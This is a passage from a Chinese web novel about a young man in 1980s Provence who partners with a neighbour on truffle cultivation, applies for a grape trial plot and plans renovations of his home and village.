“谁知道你写成什么样啊,浪费时间,行了行了,你别管了。” 朱莉特是农业部十几年的老员工了。 说句不好听的,让她写实验田申请书,就像是让会考出卷老师参加会考一样——拿捏的死死的。 晚上10点,朱莉特看着自己的作品,忍不住感叹: “这份申请书交上去,会不会让各个部门和学术机构打起来?” 完美,写的太完美了! 正当她感叹这漫长的一天终于结束之时,突然发现,罗南寄来的信封里还有一张纸。 她打开一看,立马崩溃了。 “怎么还有一份申请书??” 第395章 时机到了,可以一拼 第二天一早,罗南又接到了朱莉特的电话。 他以为朱莉特改了主意,让他自己写申请书.没想到这位官员和他说的是其他事情: “你还要申请人工培育松露的‘试验田’项目?” 信封里第二份申请书是关于人工培育松露的。 罗南坐到沙发上,长叹了一口气: “是的,我想试试。” 在普罗旺斯培育新的葡萄品种一定会遇到诸多天气和土壤的阻碍,即使有学术机构给予技术指导也无法保证可以完全解决那些问题、培育成功。 为了提高成功率,罗南必须要继续升级【种植】,把决定权握在自己的手里。 2月底学习完【酿酒】,系统里的【幸福度】还剩1800多点,但1月【幸福度】积累速度加快,每个月可以积累2000多点,此刻系统里的幸福度已经有3000多.距离升到5级【种植】只需要半个多月的时间。 而且在9月正式酿酒前,他完全有能力将【种植】技能升到6级。 人工培育松露所需的菌丝要在实验室里经过漫长的培育时间,而且对土壤也有要求,很可能要先改造。 如果侥幸能申请下来人工培育松露的实验田项目,等到菌丝移植过去,说不定【种植】已经6级了。 万一【种植】6级,可以得到关于人工培育松露的知识了呢? 罗南只有一个5级技能,那便是【烹饪】。 5级【烹饪】给了‘神之舌’那么逆天的技能,6级【种植】解决人工培育松露的难题希望还是很大的! 而且现在还出台了气象保险,风险系数降低了许多。 朱莉特语气复杂的说: “其他项目我只能帮你找到感兴趣的部门,但人工培育松露项目是由普罗旺斯大区政府和我们沃克吕兹省农业部来资助的已经完成了立项,我可以直接给到你答复.不过——” 一个很长的停顿后,朱莉特的语气轻柔了下来: “这个项目要投入很多,我们只能资助给你免费的菌丝和技术,人工成本、土壤处理、灌溉,这些运营费是小事,一个月几万你肯定能拿的出来,但宿主树和土地都非常昂贵,尤其是土地的价格,今年普罗旺斯的地价太离谱了罗南,我劝你还是别做这个。” 朱莉特看着罗南从一个集市摊主慢慢走到今天。 这一年他的成长非常快,但绝对算不上是‘家底殷实’那一类,和申请列表里的其他人不一样.利用职能之便给罗南批了,就是把他害了。 种葡萄没有什么成本,罗南自己又有地,种了也就种了,但人工培育松露是需要巨大投入的项目。 罗南也停顿了几秒,语气复杂的问: “如果有现成的宿主树和地呢?投入是不是就少了很多?” 松露采摘季结束,天气也暖和了起来,卢卡斯的妻子和儿子又回到了马赛,只留他自己和玛格丽特在卢尔马兰生活。 其实卢卡斯也可以跟着妻子和儿子一起走,但他收拾东西那天,听到了罗南订婚的消息。 坦白讲,骄傲的卢卡斯已经变成‘自卑’的卢卡斯,他觉得自己和那些满脸笑容的村民们格格不入。 即使心里一万个不乐意,罗南订婚那么大的事他还是必须要去。 罗南是过去半年多给他提供帮助最多的那个。 但和农夫们喝了一次,后面就有第二次、第三次然后菌丝采样结果又出来了。 这一天,卢卡斯和往常一样,早上起来第一件事就是给玛格丽特准备早餐。 等宝贝女儿吃完,躺下小憩的时候,他像是女儿奴一样,蹲在它的身边小心翼翼的梳毛。 一边梳还一边和玛格丽特聊天,这是他们一直以来的相处模式,7年来从未变过。 “宝贝女儿.奇迹并没有发生,那片林子里的菌丝死了90%以上。” “我以为得到消息后我会崩溃、会砸东西、会迁怒于人,你知道的,我投入了几乎所有.但这些反应统统没有,我选择去和家人吃了一顿饭,情绪就这样神奇的平复了下去。” “但即使我什么都不说,大家好像也都知道了。” “前天我和法比安喝酒,那个家伙居然抢着和我买单。”卢卡斯自嘲说,“以前他们恨不得天天让我请客。” “特奥昨天不知道和谁打了起来,脸上红了一块,我问他他也不说.他以为不说我就不知道吗?” 卢卡斯的语气和神态非常平静,可能因为这个结局已在他的梦中出现过许多次。 “今天你想去哪里睡都可以,妈妈的床上也可以。”他最后摸了摸玛格丽特的脑袋,把地上散落的狗毛收集了起来,笑着说,“反正妈妈没有机会再回来住了,她不会发现的。” 坦白讲,一直到此刻,卢卡斯都没有决定是否要放弃松露帝国的美梦。 也许没有那场寒潮,菌丝检测的数据会非常不错? 也许那所巴黎研究院口中的新培育技术比去年更厉害,再培育一批菌丝一定能成功呢? 也许、也许、也许.也许的事情现在无法得到任何结论。 不过可以确认的是他很难在卢尔马兰维持住那个‘骄傲的卢卡斯’形象了。 人工培育松露失败的消息已经从外村传到了这里。 松露采摘季赚到的所有钱都投入到了那片阔叶林的日常运营中去,剩下的一部分现金给了去马赛的妻子和儿子。 无论是为了有可能的下一次菌丝培育做准备,还是未来的生活都需要充足的资金,他决定把卢尔马兰的房子卖了,离开这里,彻底搬去马赛生活。 不过在这之前,卢卡斯有两件事要做。 一件事是和罗南告别,告诉他自己的决定。 另一件事是和弟弟特奥坦白彻底的坦白。 “抱歉特奥,我已经不是那个可以让你自豪的哥哥了,以后不要为我和其他人打架,不值得。” 罗南好找,不是在家里就是在餐厅,但特奥不好找,这个家伙没有闲着的时候,哪里有热闹他去哪里。 早上给玛格丽特梳完毛,卢卡斯先给特奥打了一个电话,通知他中午要过去吃饭,让他在家里等着。 接电话的是特奥的妻子她说她会转告特奥的。 之后卢卡斯在仓库里搜刮起了能给罗南带去的东西。 彻底搬去马赛后,再见面不知道是什么时候,他想要给罗南带上一份临别的礼物。 这个小子是除了家人外,他在卢尔马兰唯一舍不得的人。 正在仔细挑选时,玛格丽特突然在外面叫了起来,听声音异常兴奋。 卢卡斯都不用猜就知道门外来人了,而且只可能是那个人。 “我正想去找你呢。”卢卡斯把罗南和他的狗请进来。 罗南摸了摸玛格丽特柔顺的毛发,羡慕的说: “同样是刚毛犬,玛格丽特的毛发比马赛柔顺不知道多少倍,你怎么养的啊,养的那么好。” “当女儿养的。”卢卡斯给罗南倒酒,“你把它当自己的孩子,肯定能养好。” 罗南苦涩的撇嘴: “可我也拿小黑和马赛当儿子啊。” 卢卡斯不置可否的耸肩: “也许吧。” “真的。”罗南开玩笑的说,“今天就是替儿子求亲来的。” 卢卡斯大笑两声,把酒杯递给罗南: “那恐怕不行。” 罗南从夹克里拿出两沓厚厚的纸币,放到桌子上: “礼金我都带来了。” 罗南带来的是两沓500法郎的大面额纸币,卢卡斯把视线从那10万法郎移开,用一副‘你有病吧’的表情说: “我只是不想让玛格丽特生孩子,它们平时一起玩我从没阻拦过,你这是干什么?” 罗南笑着把那两沓钱往前推了一些: “原来你同意啊,这样我就放心了,那给这笔钱换个用途。” 卢卡斯双手抱胸,眯着眼睛看罗南。 夜里没睡醒吗? 你在搞什么? 罗南收敛起笑容,认真的说: “我是来入伙的。” “入伙?入什么伙?”卢卡斯的眉毛拧到一起。 “人工培育松露的伙。”罗南平静的说。 卢卡斯憋了半天的话终于说了出去: “你有病?你不知道我那边是什么情况吗?还入伙” 我都在考虑抽身而退了,你现在要来入伙?! 罗南摆了摆手,示意卢卡斯别激动,先听他解释: “去年我拒绝入伙,是因为时机不好,那真的不是个好时机,虽然现在的情况依然不乐观.但我觉得时机是对的。” 不给卢卡斯反驳的机会,罗南继续说道: “一月份的寒潮冻死了至少一半的野生黑松露,想要回到去年的行情,至少需要7-10年,这是野生松露的生长周期,但人工松露只需要3-7年,你也看到了今年松露价格有多离谱,值得拼一次。” 罗南说的这些正是卢卡斯不想放弃的原因,此刻正是人工松露最好的发展时机,但问题也摆在面前. 去年是罗南劝卢卡斯不要冲动,一年之后同样的理由,说的人角色互换了: “但没人能保证人工培育松露一定成功,就像你说的,这是一场赌注。” 罗南无法说明系统的存在,只能把责任推在科研机构的身上: “这确实是一个巨大的问题,但我找到了沃克吕兹省农业部,他们愿意给人工培育松露项目提供免费的菌株和技术支持.这次做技术支持的机构是普罗旺斯松露技术中心,总部设立在卡庞特拉,应该比你那个巴黎机构靠谱很多。” 早上,朱莉特在电话里给罗南详细的介绍了普罗旺斯松露技术中心的信息。 这个新成立的机构收纳了普罗旺斯境内许多专门研究松露的专家,而且把地址定在了普罗旺斯黑松露交易最大的集散地。 卢卡斯的眼中突然燃起了希望。 菌株采购的成本非常昂贵,每公顷要2万多居然有人资助? 哪里来的这么好的事? 不过一想到说这话的人是罗南卢卡斯又觉得不稀奇了——罗南的身上经常发生奇迹。 但希望只是短暂的出现了几秒,他眼睛里的火光又黯淡了下去。 骄傲的卢卡斯终于把头低了下去,艰难的说出了可能罗南或者全村都知道、但他自己不想承认的事实: “听起来很不错,但我没有资本和你合作了,实不相瞒,我已经打算要卖——” 罗南突然拉住卢卡斯的手腕,把他低下去的脑袋‘抬’了起来: “你当然有资本和我合作,你有10公顷地,还有已经栽种好的宿主树.怎么样,要不要详细听听这个生意?” 罗南灿烂的微笑似乎让卢卡斯看到了一轮明亮的太阳悬挂于头顶。 奇迹终于出现在我的身上了? 第396章 合作愉快,兄弟! 朱莉特是一个很严谨的人,从不说什么过头的话。 不过早上挂电话前,她告诉罗南——先好好考虑清楚,如果想好了要做,她会介绍罗南和卡庞特拉的试验机构认识。 这句话的言外之意就是:我会给你批。 既然已经拿到了准确的回复、罗南也真心想和卢卡斯合作,那么聊起事情来就不需过多保留了: “你有地,也在去年栽种好了宿主树,现在要做的是培育一批新的菌丝移植过去,之后在普罗旺斯松露研究中心的检测下,慢慢培育,这个过程中需要花钱的地方有:宿主树的根部清理、土壤改良、人工接种、灌溉与施肥、修剪与除草、病虫害防控和每年两次的菌丝采样,我猜灌溉系统你已经装好,围栏与防兽设施也是齐全的吧?” 罗南接到朱莉特的电话马上拿着钱过来,现在他既是讲给卢卡斯听,也是在仔细算账。 一分钟前,卢卡斯的情绪更多的是脱离泥沼、重获新生的侥幸,听罗南讲的这么专业,又多了一丝震惊和欣喜。 罗南很懂人工培育松露啊.流程和步骤他都清楚。 “你之前了解过?”他好奇的问。 罗南敷衍道: “从农业部那帮人嘴里听说的。” 坦白的讲,4级【种植】和4级【采集】的知识结合,已经让罗南清楚人工培育松露的流程和注意事项有哪些了,只是在那些‘高精尖’的细节上他不了解如何提升。 例如,如何抑制竞争性真菌的出现。 如果宿主树周围生长了其他菌种,就一定会抑制松露的生长,这一点从目前的知识中无法找到解决办法。 还比如,如何健康的松土,松露菌丝需要非常高的透气性,但松土一定会伤害菌根。 类似的问题,都需要更加多的手段去一一解决。 卢卡斯也是做过一次菌丝培育的人了,清楚的给罗南报出了一个又一个的价格: “宿主树的根部清理和人工接种是一次性的,每公顷的成本是48000法郎左右,你说的其他都是日常维护,每个月的成本在5-6万区间,季节不同价格不同。” “你的10公顷地里,有7公顷在做松露培育,还有另外3公顷是生态缓冲带和科研设施,对不对?”罗南怕自己记错,又确认了一次。 生态缓冲带是人工松露培育系统的免疫屏障,非常重要。 围绕实验林一圈的缓冲地带通常会栽种乔木、灌木和草本三层。 每一种不同的树木起到不同的隔离作用。 例如地中海松,可以降低夏季地表温度,减少高温对菌丝的灼伤。 黑松露的菌丝实在太脆弱了温度太低不行,温度超过35度又会进入休眠。 缓冲带同时还有防风的效果,防止土壤水分过快蒸发,水分对松露非常重要,是决定成体大小的关键因素。 同时,缓冲地带还有农药隔离、金属隔离和传粉昆虫隔离等重要作用。 卢卡斯点点头: “是的,那3公顷缓冲带的成本可以忽略不计,我原本就可以得到一部分补贴,正好可以覆盖这部分。” 罗南追问道: “这部分的补贴是哪里给的?也是农业部吗?” 卢卡斯摇头道: “农业部只在购买土地时给了20%的购置补贴,这一部分的补贴是森林局给的,因为我在缓冲带里全部栽种了普罗旺斯原生植物。” “森林局也有补助?”罗南意外的问。 上帝啊,这不又到了咱们另一个好朋友的领域里! 卢卡斯肯定的说: “是普罗旺斯森林局给的,我这些地都是通过森林局买来的,在普罗旺斯种植松露离不开这个部门。” 更要给布鲁诺的老婆找个好工作了罗南暗自想道。 卢卡斯报完价格后,这一轮松露培育的成本也出来了。 一次性的成本是33万6千法郎,之后每个月的维护成本是5-6万,一年100万法郎。 “其实还行。”罗南摸着下巴嘟囔。 杰罗姆给罗南省下了72万法郎的费用,未来罗南不需要动用自己的钱经营酒庄了。 一次性的33万法郎他完全可以拿出来,每个月的维护费用只靠餐厅的收入就能覆盖,对他来说压力并不大。 “可以试一试。”罗南看向卢卡斯,“这个预算我可以承受。” 这笔账卢卡斯算了好几个月。 如果有罗南和他共同承担成本,他也可以咬牙坚持下来,不过.还是必须要卖房子。 因为非松露采摘季他没有收入。 卢卡斯把杯子里的酒干了,终于下定了决心: “我也可以,但我的那部分钱要等一阵子给你,我尽快给到。” 他决定了,今天就去找路易,把房子挂出去。 “不用。”罗南语气轻松的说,“你不用出钱了。” “不用出钱?这些钱你要自己出?”卢卡斯瞪大眼睛。 罗南忐忑的说: “你已经出了地和宿主树,还花了很多钱配备农业系统、设备和防护,嗯我是这样想的,未来一年的所有成本都由我来承担,之后我们投入和分红按照你6我4分配,这个比例你觉得可以吗?” 一年既是留给卢卡斯缓一口气的时间,也是罗南计算之后的结果。 卢卡斯曾经跟他弟弟特奥讲过做人工松露初期的投入,去年秋天之前,他一共花了180多万法郎。 虽然有一部分打了‘水漂’,但地和宿主树这两个大头能继续用,按照100万的‘注资’比例,六四分也差不多。 不过罗南说这些话的时候很心虚。 在杰罗姆的提醒下,他特意找路易打听了普罗旺斯的最新地价。 松露对土壤的要求高,卢卡斯买的地都不便宜。 去年他在拿到20%补贴之后9万/公顷买的那片林子,现在的市价已经到15万/公顷,只是这10公顷地就值150万多法郎。 罗南自己买不起这么多地,更买不起这么多宿主树如果没有卢卡斯,他现在根本没有资本做这个生意,而且两个人合作,可以大大的减轻风险,比他贷款自己做安全多了。 万一真让他找到了人工培育松露的办法,那就之后买地再增加投入,那个时候的投入就不心虚了。 卢卡斯考虑了很长时间,没有拒绝罗南要支付未来一年成本的提议,兄弟的好意他听明白,而且罗南为什么说这个比例,他也算明白了: “一年之后,我们平摊成本,如果做成了,你拿那个6成走。” “我拿6成?”罗南指着自己的鼻子说,“我注资比例比你低的多。” 卢卡斯表情严肃的说: “你找的技术机构提供支持,又是你申请来的农业补助,这些成本都要算进去,你提供了这么多隐形的价值,我只是一个注资的当然要你拿大头。” 罗南四处找纸笔,要和卢卡斯好好算一算: “你家有纸和笔吗,都别冲动,我们好好算算账,这可不是意气用事的时候。” 卢卡斯没有给罗南拿纸笔,而是递给他一杯酒: “我不喜欢亏欠人,也从来没有亏欠过谁,但现在有了如果你想做这笔生意,就接受这个提议,否则我会一辈子难受。” 见罗南迟迟不动,骄傲的卢卡斯把酒又往前送了一截,语气里有期待、有真诚还有一点点恳求: “过去的一年里,我曾无数次幻想,如果我们合作了,结局会不会有什么不同.现在终于不用幻想了,合作愉快,兄弟。” 罗南缓缓接起那杯酒,和卢卡斯碰了一下: “我猜.这次结局一定会有所不同。” 达成合作后,卢卡斯和罗南又继续聊起了诸多细节,但不多时,被巨大的敲门声打断了。 卢卡斯打开门一看,外面站的是脸上还带着伤的特奥: “你怎么来了?” 特奥气势汹汹的说: “丽贝卡说有事找我,是不是因为村里的那些闲言碎语?那些人就是嫉妒,你放心,我已经把他们打服了!谁再说一句闲话,要面对的就将是我的拳头!” 卢卡斯叹了一口气。 以前他逃避,也是因为特奥从来没有问过和人工培育松露有关的事情。 似乎在特奥的世界里,他的哥哥卢卡斯做什么事都会成功,这是不需要去确认的事。 和罗南的合作,让卢卡斯的心态发生了很微妙的变化,既然特奥问起,那他就直白的讲给自己的弟弟听这本来也是卢卡斯中午要做的事情。 “特奥,脸怎么伤了?”在卢卡斯身后,罗南的脑袋探了出来。 特奥有一刹那的错愕,摸了摸脸: “没事,你怎么也在?” 罗南笑着说: “我在和卢卡斯聊合作呢。” 特奥皱着眉毛问: “你们又去挖松露了?现在还能有吗?” 罗南主动对他说: “是另一个松露生意,我和卢卡斯要合作做人工培育松露了。” “你们要合作这个?”特奥猛的瞪大眼睛,扯到了痛处,他哎呀哎呀了好几声,不过还是不忘问道,“你们真的要合作了?” 罗南指着身后桌子上的两摞钱说: “当然,你看,我钱都送来了,这是我的第一笔投资。” “我就说那个生意没有问题!罗南都参与了,怎么可能有问题!”特奥一边咆哮一边向村里跑,“狗杂种,我看谁还敢乱嚼舌根!” “你为什么要阻拦卢卡斯和特奥坦白?” 中午,罗南去佐伊家吃饭,讲起上午发生的事情时,佐伊不解的问。 罗南连吃了好几口佐伊做的沙拉,不是很在意的说: “其实那不重要。” “什么不重要?”佐伊依然不理解。 维埃里突然插嘴: “真相并不重要,即使卢卡斯告诉了特奥真相,特奥也会去打那些乱嚼舌根的人。” 佐伊做思考状,似乎在品味维埃里的话。 几秒钟后,她问弟弟: “你这么肯定?” 维埃里没有说什么,拿着自己的餐具去往厨房: “我吃好了。” 佐伊气鼓鼓的看向罗南: “我最近对他这么好,他居然无视我?!” 罗南安慰佐伊: “因为维埃里和特奥一样啊亲爱的,在他们眼中,自己的哥哥或姐姐就是世界上最厉害的人,所以事实并不重要。” 他笑着问佐伊: “你觉得特奥真的什么都不知道吗?他拒绝了卢卡斯给安娜买的所有礼物,突然孝敬父母、频繁给卢卡斯家送兔子.真的只是因为赚到钱了吗?” 罗南非常了解这个兄弟,他只是看起来傻: “特奥比任何人都在意卢卡斯。” 佐伊看着厨房,一语双关的说: “真没想到.他是这样想的,哎,关心和爱为什么要藏在心里呢,大声说出来不好吗?” “就是的!”罗南笑呵呵的说,“爱要大声说出来,我爱你!” 佐伊宠溺的把鸡腿推到罗南的面前,嗔怪的说: “你又何尝不是?听到爸爸说,卢卡斯一直在问房子的价格,你天天打听他得到菌丝采样结果的日子,早早的把钱取出来等着卢卡斯是特奥的哥哥,你又是为什么?” 罗南叹气道: “因为卢卡斯是个好人,在我弱小的时候,他帮助过我许多次其实我们两个真的有很多相似的地方,同样的有责任感,同样的在意兄弟,也同样是一个不喜欢亏欠人的人。” 第397章 开始存退休金! 下午罗南去了巴蒂的院子。 编织椅已在近期全部送往阿普特,罗南过来和巴蒂聊聊,未来他们设计新款式的频率问题。 有了线下店铺,最好定期更新新款式。 以前这一步工作是卡福推着他们做,如果想把卢尔马兰手工艺合作社的名字打出去、打得响亮,最好把这些细节规范化、流程化。 “你是怎么考虑的?每个月设计一批新样式吗?”巴蒂对这些东西没有什么概念,更多的要听从罗南的建议。 罗南双手抱胸,做思考状: “如果把「卢尔马兰手工艺合作社」当一个品牌来经营,每个月最好要设计出些新的东西,但这可能有点不实际,我们按照季度为周期吧,可以把一部分创新的任务交给妇女们,花环、灯具和饰品等她们做的很熟练了,你和我来负责家具部分。” 巴蒂先是点了点头,随后又摇头: “但我们做这么多新东西,卡福那个小店铺装得下吗?你应该去看过了吧?那就是个很小的商铺,再装些椅子就会显得拥挤了。” 罗南当然去看过,每次和佐伊去米洛纳市场采购都要去看看那边的情况怎么样。 如果把它定义为一个艺术品商店或者饰品店,那么它的大小还合适,但把它定义为家具店就太小了,是成本限制了面积。 而「卢尔马兰手工艺合作社」未来的发力点又恰恰是高端家具。 “那里只是暂时的,未来我们肯定要开一个大店、一个专业的大店。”罗南把设计周期定成季度也考虑了这部分原因,家具可以拉长新品周期,但那些小东西的上新速度最好是以月为单位。 巴蒂有些担忧的说: “你和我是搞艺术的,卡福是搞装修的,我们和现在要做的事情都有一点距离感,从人的角度考虑我们首先就不够专业。” 罗南已经思考过这个问题了: “我认识一位专业的朋友,她对线下实体店,尤其是高端商品的实体店非常有经验,等她月底来普罗旺斯,我把她介绍给卡福认识,看看是否能有所帮助。” 罗南一直把布鲁诺妻子的工作问题放在心上。 同为巴黎人的他很清楚,想在普罗旺斯找一个和老佛爷百货类似的工作不容易,尤其布鲁诺不想住在马赛等大城市,想和罗南一样欣赏田园风光。 而他们的「卢尔马兰手工艺合作社」是一个很不错的选择,到时候看看布鲁诺妻子的态度,如果她对这门生意感兴趣,看看她想在这个生意中充当怎样的角色。 “你很早之前就说要开一个大店,是有目标了吗?”巴蒂疑惑的问,“我们要走高端路线,无论在哪个城市开大店成本都很贵。” 罗南不置可否的侧了下脑袋: “可以选择在一个小众却高端的地方。” 巴蒂脱口而出: “听起来没有什么人流量啊。” 罗南撇嘴: “如果同时旅游业还高度发达呢?” 巴蒂挠了几下消瘦的脸颊,小声嘟囔: “普罗旺斯有这种地方吗?” 布兰科还没有对普通村民宣布发生在卢尔马兰身上的几个大事件,所以罗南不好给巴蒂解释他是如何想的。 克劳德亲口说过,卢尔马兰未来的定位是一个小众又高端的村庄。 旅游的季节吸引来自世界各地的高端游客,非旅行季,通过小众工艺、特色餐厅和粉红酒聚集来普罗旺斯当地的高知人群,最好还能像戈尔德一样,定期举办一两个亮眼的活动。 作为普罗旺斯未来‘小众’和‘高端’的代名词,同样小众又高端的卢尔马兰手工艺合作社在这里建立一个旗舰店再合适不过。 不要忘记,这可是以卢尔马兰命名的工坊啊! 但布兰科嘴里提到的那个商业街二期和三期什么时候开始兴建呢? 从巴蒂的院子回餐厅,中途会路过卢尔马兰政府,罗南想都没想就拐了进去。 这个地方以后得常来。 这次他一进门又碰到了上次拦他的那个女孩,但这一次康蒂娜一见到罗南就把他往楼上请: “希尔维出去考察建筑材料了,不过她之前说过,您来了直接带去二楼村长办公室,罗南先生,您喝咖啡还是茶?我待会给您送过去。” 罗南先是礼貌的说了一句谢谢: “不用了,你去忙吧,我说两句话就走。” “好的,那就不打扰您了。”康蒂娜识趣的离开。 走了两步康蒂娜突然后悔的哎呀了一声,但再一回头罗南已经不见踪影: “应该说一句谢谢啊,是他夸我有责任心还懂礼貌,希尔维才把我调到市场管理中心的。” “算了.”康蒂娜抱着文件继续去找同事签字,“之后肯定有打交道的机会,一定有很多可以感谢他的地方。” “旅游局的第一笔资金最快4月初才能到,钱到账我们会马上开始商业街二期的兴建、卢尔马兰城堡翻修、旅游基础建设和兴建酒庄城堡等几件大事。”布兰科笑着说,“你不要着急,粉红酒的优先级很高,我们会先把预算倾斜到那里。” 旅游局给卢尔马兰的第一批资金援助会在3个月内分批到账,布兰科给罗南的资助也同样不能一次性给到,付款周期在希尔维和杰罗姆之前的沟通过程中已经确定过,杰罗姆对3个月的账期没有异议。 布兰科以为罗南这是着急了。 现在买家变成了罗南,杰罗姆更不在意付款周期了,罗南问的是其他: “这几个项目什么时候能修完?” 布兰科语气平和的说: “还是那句话,粉红酒的优先级是最高的,我们会确保9月份之前完成酒庄的厂房修建,让斯特斯加正式运转起来,商业街的竣工时间在年底或者明年年初,城堡的修复截止日期是明年4月份,第一批旅游基础设施建设竣工时间也定在那个时候,最晚的是度假别墅,可能要明年秋天了。” 这是政府之前就制定好的优先级顺序。 总之,未来两年的卢尔马兰不是在建设就是在修复。 不,不止两年。 卢尔马兰会继续申请第二笔旅游资金援助那个时候再修建什么就看今年又出现什么新变化了。 罗南咂了下嘴。 年底新商业街才能竣工吗? 不过想一想也是这个道理,今年这个月份才申请到大额预算,卢尔马兰的新风貌要明年旅游季才能展现给大家看,斯特斯加也是一样,今年是准备之年.明年才能正式卖酒。 而商业街年底竣工也有一个好处,能给「卢尔马兰手工艺合作社」更多的发展时间。 拿到了想要的答案,罗南没有着急离开,而是继续问: “酒庄和度假别墅的地址在哪里选好了吗?” 卢尔马兰政府以1法郎的价格卖给了罗南一块建厂房的土地。 都这个价格了,罗南自然不敢指定位置,全听布兰科的安排。 布兰科之前和罗南提过选址的问题,考虑到那里未来会有大量设备,又考虑到旁边要修建高端度假城堡,地址会距离密集的居民区有一段距离,但具体是哪里他还没有想好。 等实际动工前,他会想好通知罗南。 但罗南最近一直在研究新的葡萄品种,又被杰罗姆提醒了普罗旺斯接连上涨的土地价格,对于酒庄的选址有了一些新的考量。 “最近要处理的事情太多,还没仔细考虑这件事。”布兰科坦白的回复。 罗南用探讨的语气说: “我正在申请新葡萄品种的‘试验田’,你知道的,在普罗旺斯培育新葡萄没有那么容易,只能小范围栽种实验,并且新葡萄品种很有可能会对土壤成分和海拔等自然条件有特殊要求我家门口那片葡萄园不一定适合种新的品种,我正考虑从农夫的手里再买一些土地,可以等我把新葡萄品种定下来,再确定盖厂房的位置吗?” 偏远没问题,罗南并不在意。 但他想选择在一片周围适合栽种新葡萄品种的区域兴建酒庄。 教皇新堡那边的大酒庄都是修建在葡萄园里,就像杰罗姆说的,这两个东西结合在一起,双方的价值都会提升。 罗南一连好几天做梦,都是杰罗姆那50公顷的‘退休金’! 太馋了!! 虽然现在地价已经很贵了,但未来一定会更贵,不过具体买多少要等确定新品种之后才能确定。 如果成功培育出了新品种,罗南毫无疑问是卢尔马兰功臣中的功臣。 而且,卢尔马兰的农田全部在农夫手里,太过分散化,布兰科也希望做一些‘集中’处理。 根据卢尔马兰政府之前的调研结果,拥有酒庄的村庄,土地一定会高度集中化,集中化的程度越高,酒庄的规模越大。 他当然希望希特斯加做大做强了。 除了密集的村子附近,卢尔马兰的辖区范围内可以选择盖酒庄的地方太多了,罗南的提议并不是什么问题,布兰科痛快的答应下来: “可以,但你的试验田项目什么时候能确定?为了保证进度,4月初一拿到钱我们就要建厂房了。” 罗南沉吟了几秒: “今晚我会再给农业部的人打电话,问问具体的情况和时间,我的时间节点同样是四月初.这件事必须在四月初之前确定了。” 布兰科点头,笑着说: “一旦你这里确定,我会马上组织卢尔马兰全体大会,公布灾害补偿条款、宣布未来特色之路为粉红酒,并呼吁大家推行‘拔除计划’,完成卢尔马兰重要的农业结构调整。” “确定了?”罗南意外的问。 上一次见面,布兰科说要和内部讨论这件事。 没想到这么快就有了结果。 布兰科肯定的说: “1985到1986年间,普罗旺斯弃耕农地总面积有7000多公顷,有3500名农民放弃了农耕,投身入旅游、建筑和服务等行业,普罗旺斯从传统小农经济向旅游服务业+规模化农业转型是必然的趋势,这一次卢尔马兰不能再掉队了!” 第398章 一起装饰小家! 晚上,罗南又给朱莉特打了一个电话。 除了通知她确定要做人工培育松露项目,还旁敲侧击的问了问关于新葡萄品种试验田的事。 事实上,朱莉特比罗南还着急。 如果不能快速得到回复,拔除计划就无法顺利的推行,那么她的升职美梦也要醒了。 一向严谨的她破天荒的对罗南说,她一定会尽快推进新品种试验田项目找到感兴趣的部门,并且让有经验的科研机构和罗南沟通新葡萄品种的类型,看看哪一种最适合在普罗旺斯做尝试。 “好吧,那我耐心的等一阵子。”罗南苦涩的说。 坦白讲,没有技术支持,罗南也可以自己尝试着栽种新葡萄品种,他已经找到好几个目标,但就像皮埃尔说的,他根本找不到这些普罗旺斯外来品种的苗木。 他猜这也是普罗旺斯保护当地葡萄品种的一种手段,葡萄是一个很重要的作物,它直接关联上了普罗旺斯的标签——葡萄酒。 想尝试栽种新葡萄品种只能只会上级政府。 如果是这样的话,罗南更加要和学术机构取得联系,他们可能掌握了许许多多实验数据,说不定有一些他的目标葡萄根本无法在普罗旺斯种植成功,知识是死的,但大自然是活的,而且还经常和人类开玩笑。 “也不是纯等。”朱莉特笑着说,“你可以先把精力放到松露项目上,你哪天有时间?我介绍你和卡庞特拉的普罗旺斯松露技术中心的人认识。” 说来也是搞笑,罗南每天都有时间,哪天去都行。 但朱莉特的时间比较难调整算来算去,去卡庞特拉的日子定在了下周。 通知卢卡斯留好时间和他一起去卡庞特拉后,罗南进入了‘无所事事’的状态。 新葡萄品种没有着落、人工松露的事情要等去卡庞特拉后才能推进、酒庄暂时没钱建、编织椅子也设计完了 就在罗南最百无聊赖之时,佐伊给到了一个提议: “虽然我还没有填满工作室,但木工坊的设备买齐了.要不然,我们提前开始装修房子吧?” 罗南的鸡血马上打了起来: “好!!” 罗南这所石屋的建筑结构是这样的。 一楼有客厅、餐厅、开放式厨房、一间卫生间、一个小仓库和一间卧室。 卧室里面放了冬季所需暖气的锅炉等设备,成为了设备间。 餐厅和开放式厨房去年装修完了,卫生间也是去年夏天罗南才新贴的瓷砖,所以这一层需要装修的区域只有一个客厅。 二楼由三间卧室和两间盥洗室组成。 其中有一间卧室是原先罗南父母住的,另一间是客房,前几天托尔来的时候住的就是这间,这两间卧室共用一个公共区域的卫生间。 小情侣之间讨论过,以上这三个区域的设计都不变,那里面的家具都是罗南和佐伊去年新做的,而且未来住人的频率不高。 所以,二楼需要装修的,只有罗南原先住的主卧和主卧里面的卫生间。 虽然这个卫生间去年才翻修一次,但当时罗南给这里铺的都是最便宜的瓷砖。 未来这是他和佐伊的婚房,肯定要把卫生间重新设计成女主人喜欢的样子。 听起来工程不是很多吧? 但真正的大工程在外面! 佐伊喜欢看鸟、喜欢大自然,未来那个大院子里要尽可能多的修建出了可以休息的地方和景观。 休息的地方不是指正式的会客区,有可能就是某棵树下,像去年做的摇椅一样,两个人坐在上面可以看星星、看日落。 景观也不仅仅是看吕贝隆的自然风光,按照佐伊的原话: “我们的院子这么大,这么漂亮,一定要好好利用起来,在这里修点什么都会非常好看!” “游泳池必须安排起来!”罗南站在院子的一角说。 设想一下,在普罗旺斯的炎热夏季,泡在自家后院的游泳池里,一边欣赏吕贝隆的美景,一边喝冰镇粉红酒是一种什么样的体验? 很多有钱人来吕贝隆买房子为的就是这一刻! 罗南去年就想过挖游泳池,但因为资金紧张,最终只做了会客区和户外厨房。 不过挖游泳池的地方,罗南已经事先安排好了——就在距离房子不远处的空地上,旁边挨着去年做出来的户外会客厅。 “游泳池一定要挖。”佐伊的脑海里全部是装饰杂志里的豪宅图片,“但普通的游泳池没有意思,我做一些配饰放在游泳池附近,把这里装饰的特殊一点。” “什么配饰?”罗南看着佐伊问。 佐伊严肃的说: “我再想想,卡福的人什么时候过来挖游泳池?” 卡福那几个伙计辛苦了。 建完工作室马不停蹄的去了餐厅,那边还没干完,新活儿又在后面排队了。 “要四月份了。”罗南之前和卡福聊过这件事。 “来得及,夏天要5月才开始。”佐伊离开了这片区域。 罗南在后面叫住她: “你确定不建一个阳光房或者花房吗?” 